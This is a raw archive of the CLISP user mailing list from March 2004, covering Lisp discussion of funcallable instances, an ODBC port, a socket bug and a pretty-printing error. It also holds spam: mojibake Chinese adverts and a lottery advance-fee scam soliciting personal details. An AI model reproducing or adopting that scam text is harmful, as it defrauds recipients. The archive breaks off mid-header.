Content-Disposition: inline Message-Id: <200403111913.19429.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: funcallable instance? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 11 10:37:33 2004 X-Original-Date: Thu, 11 Mar 2004 19:13:19 +0100 Sam wrote: > > (defclass changeable-function () > > ((clambda :accessor clambda :initarg :clambda)) > > (:metaclass funcallable-standard-class)) > > I think it would be a great idea to add FUNCALLABLE-STANDARD-CLASS, > as specified in MOP, see > I think FUNCALLABLE-STANDARD-CLASS is a hack that some CLOS implementations use to implement their generic-functions. It was rightfully not kept in CLOS when ANSI CL was made, because 1. normal function objects, slots and generic functions present enough ways to make intelligent, customizable, context-dependent functions, 2. The problem with funcallable instances is that it doesn't scale: There is only one way to define a funcall of it. As soon as you wish to use the same mechanism for two different behaviours, you fail, Then you realize that you had better used a generic function. Bruno From roland.averkamp@gmx.net Thu Mar 11 13:01:24 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B1XIy-0006ip-32 for clisp-list@lists.sourceforge.net; Thu, 11 Mar 2004 13:01:24 -0800 Received: from mail.gmx.net ([213.165.64.20]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.30) id 1B1X19-0004ws-0Z for clisp-list@lists.sourceforge.net; Thu, 11 Mar 2004 12:42:59 -0800 Received: (qmail 26975 invoked by uid 0); 11 Mar 2004 20:42:51 -0000 Received: from 80.131.253.28 by www3.gmx.net with HTTP; Thu, 11 Mar 2004 21:42:51 +0100 (MET) From: "Roland Averkamp" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Priority: 3 (Normal) X-Authenticated: #10600793 Message-ID: <26058.1079037771@www3.gmx.net> X-Mailer: WWW-Mail 1.6 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] sql-odbc Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 11 13:02:02 2004 X-Original-Date: Thu, 11 Mar 2004 21:42:51 +0100 (MET) Hello, I added some ffi-code to Paul Meurers SQL-ODBC, so it runs now with clisp too. His original version is available at http://helmer.aksis.uib.no/hit/paul-cv.htm If anyone is interested I can sent him my version. I have tested basic functionality on linux with unixODBC-2.2.6 as drivermanager and postgresql and mysql, on winxp with sql-server, access and oracle. I did not test the reader macros for sql of sql-odbc. No extra binary code is needed, libodbc.so respectively odbc32.dll are loaded as dynamic library. Regards Roland Averkamp -- +++ NEU bei GMX und erstmalig in Deutschland: TÜV-geprüfter Virenschutz +++ 100% Virenerkennung nach Wildlist. Infos: http://www.gmx.net/virenschutz From sds@gnu.org Thu Mar 11 13:54:00 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B1Y7r-0007oS-6N for clisp-list@lists.sourceforge.net; Thu, 11 Mar 2004 13:53:59 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B1XQ0-0003YQ-Oz for clisp-list@lists.sourceforge.net; Thu, 11 Mar 2004 13:08:41 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i2BLYtFg008670; Thu, 11 Mar 2004 16:34:55 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Roland Averkamp" Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <26058.1079037771@www3.gmx.net> (Roland Averkamp's message of "Thu, 11 Mar 2004 21:42:51 +0100 (MET)") References: <26058.1079037771@www3.gmx.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Roland Averkamp" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: sql-odbc Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 11 13:54:07 2004 X-Original-Date: Thu, 11 Mar 2004 16:34:55 -0500 > * Roland Averkamp [2004-03-11 21:42:51 +0100]: > > I added some ffi-code to Paul Meurers SQL-ODBC, so it runs now with > clisp too. excellent! thanks! > His original version is available at > http://helmer.aksis.uib.no/hit/paul-cv.htm is 2.5 years old. is it still being actively maintained? will your patches be included in the next release? -- Sam Steingold (http://www.podval.org/~sds) running w2k The plural of "anecdote" is not "data". From hjgkhf@eyou.com Thu Mar 11 18:04:28 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B1c2G-0001EK-Gh for clisp-list@lists.sourceforge.net; Thu, 11 Mar 2004 18:04:28 -0800 Received: from [218.104.80.2] (helo=eyou.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B1bkJ-0001uh-NS for clisp-list@lists.sourceforge.net; Thu, 11 Mar 2004 17:45:55 -0800 From: "hjgkhf@eyou.com" To: clisp-list@lists.sourceforge.net Content-Type: text/plain;charset="GB2312" Reply-To: hjgkhf@eyou.com X-Priority: 3 X-Mailer: FoxMail 3.11 Release [cn] X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.2 DATE_IN_PAST_96_XX Date: is 96 hours or more before Received: date Message-ID: Subject: [clisp-list] =?GB2312?B?waK8tNO109DX1Ly6tcTJzLPHz7XNsw==?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 11 18:05:04 2004 X-Original-Date: Tue, 2 Jan 2001 19:44:29 +0800 ×𾴵Ŀͻ§ÄúºÃ£º ÏÖÔÚÎÒ¹úÕý´¦ÓÚµç×ÓÉÌÎñ¸ßËÙ·¢Õ¹µÄʱÆÚ£¬¸÷ÖÖÍøÂçÉÌÎñÈí¼þ ¶¼³ÉΪÎÒÃÇÍøÂçÉÌÎñ»î¶¯Öбز»¿ÉÉٵŤ¾ß£¬¶øÓµÓÐÒ»¸öÍêÈ«ÊôÓÚ ×Ô¼ºµÄµç×ÓÉ̳ÇÈúܶàÉ̼ÒÃÎÃÂÒÔÇó¡£ ¶øÎÒÃÇÊǹúÄÚÖøÃûµÄÍøÂçÓªÏú·þÎñÉÌ£¬Ä¿Ç°ÎÒÃÇËù¿ª·¢ÏúÊÛµÄ ¸÷Ààµç×ÓÉÌÎñϵͳÉîÊÜÖÚÉ̼ҵÄϲ°®¡£2004Äê´óÂ·ÍøÂçÇ¿¾¢ÍƳö¶à ¿îµç×ÓÉÌÎñÏúÊÛÆ½Ì¨£¬ÆäÖаüº¬¡°´óÂ·ÍøÂçרÂôµêϵͳ¡±¡°´óÂ·Íø Â糬ÊÐϵͳ¡±¡°´óÂ·ÍøÂç±ê×¼°æÉ̳Çϵͳ¡±¡°´óÂ·ÍøÂçרҵ°æÉÌ³Ç ÏµÍ³¡±¡°´óÂ·ÍøÂçÔöÇ¿°æÉ̳Çϵͳ¡±Æä°²×°¼òµ¥·½±ã£¬Ö»Ð轫³ÌÐò ÉÏ´«ÖÁ·þÎñÆ÷ºó¼´¿ÉʹÓã¬Ç¿´óµÄºǫ́¹ÜÀí¿ÉÒÔÈÎÒâÌí¼ÓÐÞ¸ÄÀ¸Ä¿¡¢ ͼƬÉÏ´«¡¢ÉÌÆ·¹ÜÀí¡¢¶©µ¥´¦Àí£¬Í¬Ê±Óû§¿É¸ù¾Ý×Ô¼ºµÄÐèÒªËæÒâ Ð޸ĽçÃæÉ«²Ê¿ÉÂú×ã¸öÐÔ»¯ÉèÖá£ÎÞÐèרҵ֪ʶ¾Í¿ÉÒÔÇáËɹÜÀí½¨ Éè×Ô¼º¶ÀÁ¢µÄÍøÂçÏúÊÛÆ½Ì¨¼¸ºõÊʺÏËùÓеÄÐÐÒµÔÚÏß²úÆ·ÏúÊÛ¡¢²ú ƷչʾʹÓᣠ´óÂ·ÍøÂç¶à¿îµç×ÓÉÌÎñϵͳ±Ø½«ÓÐÒ»¿îÊʺÏÄú»òÄúµÄÆóÒµ£¬Ïê ϸ×ÊÁÏÇëÁ¢¼´½øÈëÎÒÃǵÄÕ¾µã²é¿´Ñ¡¹º¡£[ÓŻݻÖÐ] ÇëÁ¢¼´·ÃÎÊÎÒÃǵÄÕ¾µã http://www.dalu2000.com/index-s.htm ¿Í»§×Éѯ£º025-52207744 ÊÛºó·þÎñ£º025-52210862 ²éÑ¯ÍøÖ·£ºhttp://www.dalu2000.com ×Éѯ Q Q£º20265342 --------------------------------------------------------- ÈçÄú²»Ï£ÍûÔٴνÓÊÕ´ËÓʼþÇëµã»÷ÒÔÏÂÁ´½ÓÍ˶©Óʼþ£¬Ð»Ð»£¡ http://www.cnyrgm.com/unsubscribe.asp?id=2736&language=gb2312 --------------------------------------------------------- From lisp-clisp-list@m.gmane.org Fri Mar 12 07:49:19 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B1ouV-0006BR-5p for clisp-list@lists.sourceforge.net; Fri, 12 Mar 2004 07:49:19 -0800 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B1oBj-0001SZ-Lj for clisp-list@lists.sourceforge.net; Fri, 12 Mar 2004 07:03:03 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1B1ocA-00027z-00 for ; Fri, 12 Mar 2004 16:30:23 +0100 Received: from 200-096-070-008.paemt7014.dsl.brasiltelecom.net.br ([200.96.70.8]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 12 Mar 2004 16:30:22 +0100 Received: from synthespian by 200-096-070-008.paemt7014.dsl.brasiltelecom.net.br with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 12 Mar 2004 16:30:22 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Henry Lenzi Lines: 14 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 200.96.70.8 (Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020913 Debian/1.1-1) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: What are those packes in the FTP GNU repository? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 12 07:50:03 2004 X-Original-Date: Fri, 12 Mar 2004 15:30:18 +0000 (UTC) Sam Steingold gnu.org> writes: > > Are they maintained, usable, or very old? > > which specific package are you talking about? > Hi Sam -- Well, to be (un)specific, I'd be happy to start with any graphics toolkit. TIA, Henry From netstarlottery@netscape.net Fri Mar 12 07:57:48 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B1p2h-00088t-Rq for clisp-list@lists.sourceforge.net; Fri, 12 Mar 2004 07:57:47 -0800 Received: from dsl-82-199-132-70.dutchdsl.nl ([82.199.132.70] helo=netscape660.com) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1B1oEi-0002Jx-SQ for clisp-list@lists.sourceforge.net; Fri, 12 Mar 2004 07:06:09 -0800 From: NETSTAR LOTTERY To: clisp-list@lists.sourceforge.net Reply-To: santaluciasegurossa@zwallet.com X-Spam-Score: 3.4 (+++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.2 DEAR_SOMETHING BODY: Contains 'Dear (something)' 0.0 LINES_OF_YELLING BODY: A WHOLE LINE OF YELLING DETECTED 0.1 LINES_OF_YELLING_2 BODY: 2 WHOLE LINES OF YELLING DETECTED 0.6 SUBJ_ALL_CAPS Subject is all capitals 1.6 NIGERIAN_BODY1 Message body looks like a Nigerian spam message 1+ Message-ID: Subject: [clisp-list] AWARD NOTIFICATION Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 12 07:58:10 2004 X-Original-Date: Fri, 12 Mar 2004 16:33:31 +0100 FROM: THE DESK OF THE DIRECTOR PROMOTIONS, NETSTAR INTERNATIONAL PROMOTIONS. REF NUMBER:SHHL/31-Z2O8666829 BATCH NUMBER:023-4632-3004-622 ATTENTION: AWARD NOTIFICATION; FINAL NOTICE: Dear Sir/Ma/Miss, We happily to inform you of the announcement today, 12th of march 2004 of winner of the NETSTAR LOTTERY INTERNATIONAL PROGRAMS held in dublin on 27th of february 2003.Your email address attached to batch number 023-4632-3004-622, with serial Numbers: D031-37 drew the lucky numbers: 89-75-01-58-99-13, and consequently won in category B.You have therefore been approved for a lump sum pay of 1,105,000.00euros(ONE MILLION ONE HUNDRED AND FIVE THOUSAND EUROS)in cash credited to file REF NO.SHHL/31-Z2O8666829. This is from total prize money of (11,050,000.00euros)shared among the ten(10) international winners in the category B. All participants were selected through a computer ballot system drawn from 40,000 e-mails from Australia, New Zealand,America, Asia, Europe,africa and North America as part our International Promotion Program,which is conducted annually. CONGRATULATIONS! Your fund is now deposited with a Financial and Security House insured in your e-mail name. Due to the mix up of some numbers and names, we ask that you keep this award strictly from public notice until your claim has been processed and your money remitted to your account. This is part of our security protocol to avoid double claiming or unscrupulous acts by Participants of this program. We hope with a part of you prize, you will participate in our end of year high stakes {1.1 billion euros}International lotto. To begin your claim, please contact your claims officer immediately with your Full name, Telephone and Fax number including your country code. JAAP HOEF. (OPERATIONS DIRECTOR} EMAIL:santaluciasegurossa@zwallet.com For due processing and remittance of your prize money to a designated account of your choice. Remember, you must contact your claims officer not later than 2nd of april 2004. After this date, all funds will be returned as unclaimed. NOTE: In order to avoid unnecessary delays and complications, please remember to quote your reference number in every one of your correspondences with your officer. Furthermore,should there be any change of your address, do inform your claims officer as soon as possible. Congratulations once more from our members of staff and thank you for being part of our promotion lottery programme. Sincerely, THE DIRECTOR PROMOTIONS, NETSTAR LOTTERY. N.B: Anybody under the age of 18 is automatically disqualified and breach of confidentaility on the part of the winners will result to disqualification. ---------------------------------------------- This email is send by "Demo Software" From sds@gnu.org Fri Mar 12 08:06:54 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B1pBW-0001n1-2s for clisp-list@lists.sourceforge.net; Fri, 12 Mar 2004 08:06:54 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B1otE-0006vm-1H for clisp-list@lists.sourceforge.net; Fri, 12 Mar 2004 07:48:00 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i2CFlk8i004214; Fri, 12 Mar 2004 10:47:46 -0500 (EST) To: clisp-list@lists.sourceforge.net, Henry Lenzi Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Henry Lenzi's message of "Fri, 12 Mar 2004 15:30:18 +0000 (UTC)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Henry Lenzi Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: What are those packes in the FTP GNU repository? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 12 08:07:06 2004 X-Original-Date: Fri, 12 Mar 2004 10:47:46 -0500 > Well, to be (un)specific, I'd be happy to start with any graphics toolkit. build CLISP --with-module=clx/new-clx and use garnet (see garnet link on the clisp resource page) -- Sam Steingold (http://www.podval.org/~sds) running w2k Sinners can repent, but stupid is forever. From don-temp2984136@isis.cs3-inc.com Fri Mar 12 10:59:21 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B1rsO-0004Ot-Sc for clisp-list@lists.sourceforge.net; Fri, 12 Mar 2004 10:59:20 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B1ra2-00030v-G6 for clisp-list@lists.sourceforge.net; Fri, 12 Mar 2004 10:40:22 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i2CIZeb04127 for clisp-list@lists.sourceforge.net; Fri, 12 Mar 2004 10:35:40 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-temp2984136 using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-temp2984136@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16466.764.702255.859847@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 FROM_ENDS_IN_NUMS From: ends in numbers Subject: [clisp-list] problems with socket server on windows Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 12 11:00:03 2004 X-Original-Date: Fri, 12 Mar 2004 10:35:40 -0800 I'm trying to run my http server in windows with clisp 2.30. Mostly it works, but after a few connections are opened I start seeing TCP resets. Does this sound familiar? Is it likely to be fixed by moving to 2.31 (or 2.32) ? While I'm at it, let me complain about something I see in the part that does work. I do a bunch of write-byte's to a socket stream and when I'm done I do a force-output. On windows every write-byte seems to send a separate packet! That slows things down considerably! From seh@panix.com Fri Mar 12 11:06:49 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B1rzd-0006Wi-Bo for clisp-list@lists.sourceforge.net; Fri, 12 Mar 2004 11:06:49 -0800 Received: from mail3.panix.com ([166.84.1.74]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B1rGe-00038l-SN for clisp-list@lists.sourceforge.net; Fri, 12 Mar 2004 10:20:20 -0800 Received: from mailspool2.panix.com (mailspool2.panix.com [166.84.1.79]) by mail3.panix.com (Postfix) with ESMTP id 7041698288 for ; Fri, 12 Mar 2004 13:47:46 -0500 (EST) Received: from torus.sehlabs.com (rrcs-west-66-27-52-190.biz.rr.com [66.27.52.190]) by mailspool2.panix.com (Postfix) with ESMTP id 6D594203DA3 for ; Fri, 12 Mar 2004 13:47:46 -0500 (EST) Received: from seh by torus.sehlabs.com with local (Exim 4.30) id HUH87O-0000U0-H1 for clisp-list@lists.sourceforge.net; Fri, 12 Mar 2004 10:47:48 -0800 To: clisp-list@lists.sourceforge.net From: "Steven E. Harris" Organization: SEH Labs Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: <83brn1sy0c.fsf@torus.sehlabs.com> User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Rational FORTRAN, cygwin32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Pretty printing and with-standard-io-syntax interaction Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 12 11:07:03 2004 X-Original-Date: Fri, 12 Mar 2004 10:47:47 -0800 The macro with-standard-io-syntax disables pretty-printing by setting *print-pretty* to nil, but should it still be possible to do pretty printing within a with-standard-io-syntax form? Consider: ,----[ "2.32 (2003-12-29) (built on winsteingoldlap [10.0.19.22])" ] | [1]> (with-standard-io-syntax | (let ((*print-pretty* t)) | (pprint-linear nil (list 'a 'b 'c)))) | | *** - PRINT: the value of SYSTEM::*PRINT-CIRCLE-TABLE* has been arbitrarily altered | *** - UNIX error 13. (EACCES): Permission denied | Break 1. [ 2]> `---- I tried the same example on SBCL and it worked fine. It seems that any kind of pretty-printing I try within with-standard-io-syntax with CLISP (Cygwin, Windows XP) fails with the error shown above. Is this a known problem? Or is the problem with my code? -- Steven E. Harris From hyethtr@eyou.com Fri Mar 12 14:07:45 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B1uog-0003gn-Kr for clisp-list@lists.sourceforge.net; Fri, 12 Mar 2004 14:07:42 -0800 Received: from [218.104.80.2] (helo=eyou.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B1u5X-0001RQ-Jl for clisp-list@lists.sourceforge.net; Fri, 12 Mar 2004 13:21:03 -0800 From: "hyethtr@eyou.com" To: clisp-list@lists.sourceforge.net Content-Type: text/plain;charset="GB2312" Reply-To: hyethtr@eyou.com X-Priority: 3 X-Mailer: FoxMail 3.11 Release [cn] X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.2 DATE_IN_PAST_96_XX Date: is 96 hours or more before Received: date Message-ID: Subject: [clisp-list] =?GB2312?B?waK8tNO109DX1Ly6tcTJzLPHz7XNsw==?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 12 14:08:25 2004 X-Original-Date: Wed, 3 Jan 2001 15:47:06 +0800 ×𾴵Ŀͻ§ÄúºÃ£º ÏÖÔÚÎÒ¹úÕý´¦ÓÚµç×ÓÉÌÎñ¸ßËÙ·¢Õ¹µÄʱÆÚ£¬¸÷ÖÖÍøÂçÉÌÎñÈí¼þ ¶¼³ÉΪÎÒÃÇÍøÂçÉÌÎñ»î¶¯Öбز»¿ÉÉٵŤ¾ß£¬¶øÓµÓÐÒ»¸öÍêÈ«ÊôÓÚ ×Ô¼ºµÄµç×ÓÉ̳ÇÈúܶàÉ̼ÒÃÎÃÂÒÔÇó¡£ ¶øÎÒÃÇÊǹúÄÚÖøÃûµÄÍøÂçÓªÏú·þÎñÉÌ£¬Ä¿Ç°ÎÒÃÇËù¿ª·¢ÏúÊÛµÄ ¸÷Ààµç×ÓÉÌÎñϵͳÉîÊÜÖÚÉ̼ҵÄϲ°®¡£2004Äê´óÂ·ÍøÂçÇ¿¾¢ÍƳö¶à ¿îµç×ÓÉÌÎñÏúÊÛÆ½Ì¨£¬ÆäÖаüº¬¡°´óÂ·ÍøÂçרÂôµêϵͳ¡±¡°´óÂ·Íø Â糬ÊÐϵͳ¡±¡°´óÂ·ÍøÂç±ê×¼°æÉ̳Çϵͳ¡±¡°´óÂ·ÍøÂçרҵ°æÉÌ³Ç ÏµÍ³¡±¡°´óÂ·ÍøÂçÔöÇ¿°æÉ̳Çϵͳ¡±Æä°²×°¼òµ¥·½±ã£¬Ö»Ð轫³ÌÐò ÉÏ´«ÖÁ·þÎñÆ÷ºó¼´¿ÉʹÓã¬Ç¿´óµÄºǫ́¹ÜÀí¿ÉÒÔÈÎÒâÌí¼ÓÐÞ¸ÄÀ¸Ä¿¡¢ ͼƬÉÏ´«¡¢ÉÌÆ·¹ÜÀí¡¢¶©µ¥´¦Àí£¬Í¬Ê±Óû§¿É¸ù¾Ý×Ô¼ºµÄÐèÒªËæÒâ Ð޸ĽçÃæÉ«²Ê¿ÉÂú×ã¸öÐÔ»¯ÉèÖá£ÎÞÐèרҵ֪ʶ¾Í¿ÉÒÔÇáËɹÜÀí½¨ Éè×Ô¼º¶ÀÁ¢µÄÍøÂçÏúÊÛÆ½Ì¨¼¸ºõÊʺÏËùÓеÄÐÐÒµÔÚÏß²úÆ·ÏúÊÛ¡¢²ú ƷչʾʹÓᣠ´óÂ·ÍøÂç¶à¿îµç×ÓÉÌÎñϵͳ±Ø½«ÓÐÒ»¿îÊʺÏÄú»òÄúµÄÆóÒµ£¬Ïê ϸ×ÊÁÏÇëÁ¢¼´½øÈëÎÒÃǵÄÕ¾µã²é¿´Ñ¡¹º¡£[ÓŻݻÖÐ] ÇëÁ¢¼´·ÃÎÊÎÒÃǵÄÕ¾µã http://www.dalu2000.com/index-s.htm ¿Í»§×Éѯ£º025-52207744 ÊÛºó·þÎñ£º025-52210862 ²éÑ¯ÍøÖ·£ºhttp://www.dalu2000.com ×Éѯ Q Q£º20265342 --------------------------------------------------------- ÈçÄú²»Ï£ÍûÔٴνÓÊÕ´ËÓʼþÇëµã»÷ÒÔÏÂÁ´½ÓÍ˶©Óʼþ£¬Ð»Ð»£¡ http://www.cnyrgm.com/unsubscribe.asp?id=2736&language=gb2312 --------------------------------------------------------- From PostMasterDFDSID@dfdstransport.co.id Sun Mar 14 00:00:55 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B2QYJ-000477-Cf for clisp-list@lists.sourceforge.net; Sun, 14 Mar 